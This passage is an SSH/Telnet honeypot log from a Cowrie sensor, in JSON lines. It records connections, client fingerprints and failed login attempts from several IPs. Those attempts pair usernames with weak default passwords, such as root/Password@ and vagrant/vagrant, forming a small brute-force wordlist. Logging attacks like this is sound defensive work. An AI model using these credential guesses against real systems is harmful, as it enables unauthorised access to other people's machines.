{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:10.931603Z","src_ip":"141.11.88.14","session":"2a850b8cf83d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":35474,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fba9a07557a","protocol":"ssh","message":"New connection: 141.11.88.14:35474 (10.17.0.5:22) [session: 9fba9a07557a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:15.567621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:15.821486Z","src_ip":"141.11.88.14","session":"9fba9a07557a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:15.825393Z","src_ip":"141.11.88.14","session":"9fba9a07557a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.28212118148804,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:16.321157Z","src_ip":"128.199.8.54","session":"6981cefa2de1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ftpuser2","password":"ftpuser2","message":"login attempt [ftpuser2/ftpuser2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:16.892549Z","src_ip":"141.11.88.14","session":"9fba9a07557a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:18.023896Z","src_ip":"141.11.88.14","session":"9fba9a07557a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40334,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b04c2b986a9","protocol":"telnet","message":"New connection: 128.199.8.54:40334 (159.203.135.109:23) [session: 8b04c2b986a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:21.083519Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":54594,"dst_ip":"10.17.0.5","dst_port":22,"session":"b26f4c828189","protocol":"ssh","message":"New connection: 141.11.88.14:54594 (10.17.0.5:22) [session: b26f4c828189]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:23.301892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:23.478215Z","src_ip":"141.11.88.14","session":"b26f4c828189","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:23.482046Z","src_ip":"141.11.88.14","session":"b26f4c828189","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo123","message":"login attempt [demo/demo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:23.945112Z","src_ip":"141.11.88.14","session":"b26f4c828189","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:25.028652Z","src_ip":"141.11.88.14","session":"b26f4c828189","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":35792,"dst_ip":"10.17.0.5","dst_port":22,"session":"523d9f62cf05","protocol":"ssh","message":"New connection: 41.86.34.139:35792 (10.17.0.5:22) [session: 523d9f62cf05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:26.767142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:26.772009Z","src_ip":"41.86.34.139","session":"523d9f62cf05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:26.985356Z","src_ip":"41.86.34.139","session":"523d9f62cf05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@Test","message":"login attempt [root/123@Test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:27.851249Z","src_ip":"41.86.34.139","session":"523d9f62cf05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:29.064463Z","src_ip":"41.86.34.139","session":"523d9f62cf05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":14958,"dst_ip":"10.17.0.5","dst_port":22,"session":"e933502b5238","protocol":"ssh","message":"New connection: 141.11.88.14:14958 (10.17.0.5:22) [session: e933502b5238]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:32.270780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:32.297346Z","src_ip":"141.11.88.14","session":"e933502b5238","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:32.377432Z","src_ip":"141.11.88.14","session":"e933502b5238","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"1234","message":"login attempt [amir/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:32.725521Z","src_ip":"141.11.88.14","session":"e933502b5238","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:33.809179Z","src_ip":"141.11.88.14","session":"e933502b5238","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":36472,"dst_ip":"10.17.0.5","dst_port":22,"session":"99fed64dcc78","protocol":"ssh","message":"New connection: 141.11.88.14:36472 (10.17.0.5:22) [session: 99fed64dcc78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:39.954197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:40.054232Z","src_ip":"141.11.88.14","session":"99fed64dcc78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:40.057523Z","src_ip":"141.11.88.14","session":"99fed64dcc78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":37524,"dst_ip":"10.17.0.5","dst_port":22,"session":"46b114b2e9b1","protocol":"ssh","message":"New connection: 27.71.230.31:37524 (10.17.0.5:22) [session: 46b114b2e9b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:41.218373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:41.229805Z","src_ip":"27.71.230.31","session":"46b114b2e9b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:41.447835Z","src_ip":"141.11.88.14","session":"99fed64dcc78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:42.086452Z","src_ip":"27.71.230.31","session":"46b114b2e9b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:42.837085Z","src_ip":"141.11.88.14","session":"99fed64dcc78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@","message":"login attempt [root/Password@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:47.356990Z","src_ip":"27.71.230.31","session":"46b114b2e9b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":42818,"dst_ip":"10.17.0.5","dst_port":22,"session":"8cf9a2208eae","protocol":"ssh","message":"New connection: 141.11.88.14:42818 (10.17.0.5:22) [session: 8cf9a2208eae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:48.160039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:48.853135Z","src_ip":"141.11.88.14","session":"8cf9a2208eae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:48.857655Z","src_ip":"141.11.88.14","session":"8cf9a2208eae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.3","message":"Connection lost after 8.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:49.473781Z","src_ip":"27.71.230.31","session":"46b114b2e9b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ly","password":"12345678","message":"login attempt [ly/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:49.567525Z","src_ip":"141.11.88.14","session":"8cf9a2208eae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:51.210653Z","src_ip":"141.11.88.14","session":"8cf9a2208eae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":42850,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0849f3c4c33","protocol":"ssh","message":"New connection: 141.11.88.14:42850 (10.17.0.5:22) [session: b0849f3c4c33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:56.470098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:56.586857Z","src_ip":"141.11.88.14","session":"b0849f3c4c33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:56.591362Z","src_ip":"141.11.88.14","session":"b0849f3c4c33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"gg","message":"login attempt [root1/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:58.192320Z","src_ip":"141.11.88.14","session":"b0849f3c4c33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:24:59.346004Z","src_ip":"141.11.88.14","session":"b0849f3c4c33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.253.37.225","src_port":51574,"dst_ip":"159.203.135.109","dst_port":22,"session":"d10b4e8f1371","protocol":"ssh","message":"New connection: 211.253.37.225:51574 (159.203.135.109:22) [session: d10b4e8f1371]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:00.118178Z"}
